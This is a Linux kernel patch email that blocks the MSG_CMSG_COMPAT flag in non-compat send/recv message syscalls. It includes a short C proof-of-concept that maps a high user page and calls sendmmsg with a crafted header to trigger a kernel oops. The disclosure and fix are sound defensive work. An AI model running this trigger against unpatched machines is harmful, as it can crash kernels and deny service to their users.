Subject: [PATCH 5/5] net: Block MSG_CMSG_COMPAT in send(m)msg and recv(m)msg

MSG_CMSG_COMPAT is (AFAIK) not intended to be part of the API --
it's a hack that steals a bit to indicate to other networking code
that a compat entry was used.  So don't allow it from a non-compat
syscall.

This prevents an oops when running this code:

int main()
{
	int s;
	struct sockaddr_in addr;
	struct msghdr *hdr;

	char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
	                      PROT_READ | PROT_WRITE,
	                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
	if (highpage == MAP_FAILED)
		err(1, "mmap");

	s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (s == -1)
		err(1, "socket");

        addr.sin_family = AF_INET;
        addr.sin_port = htons(1);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0)
		err(1, "connect");

	void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
	printf("Evil address is %p\n", evil);

	if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0)
		err(1, "sendmmsg");

	return 0;
}
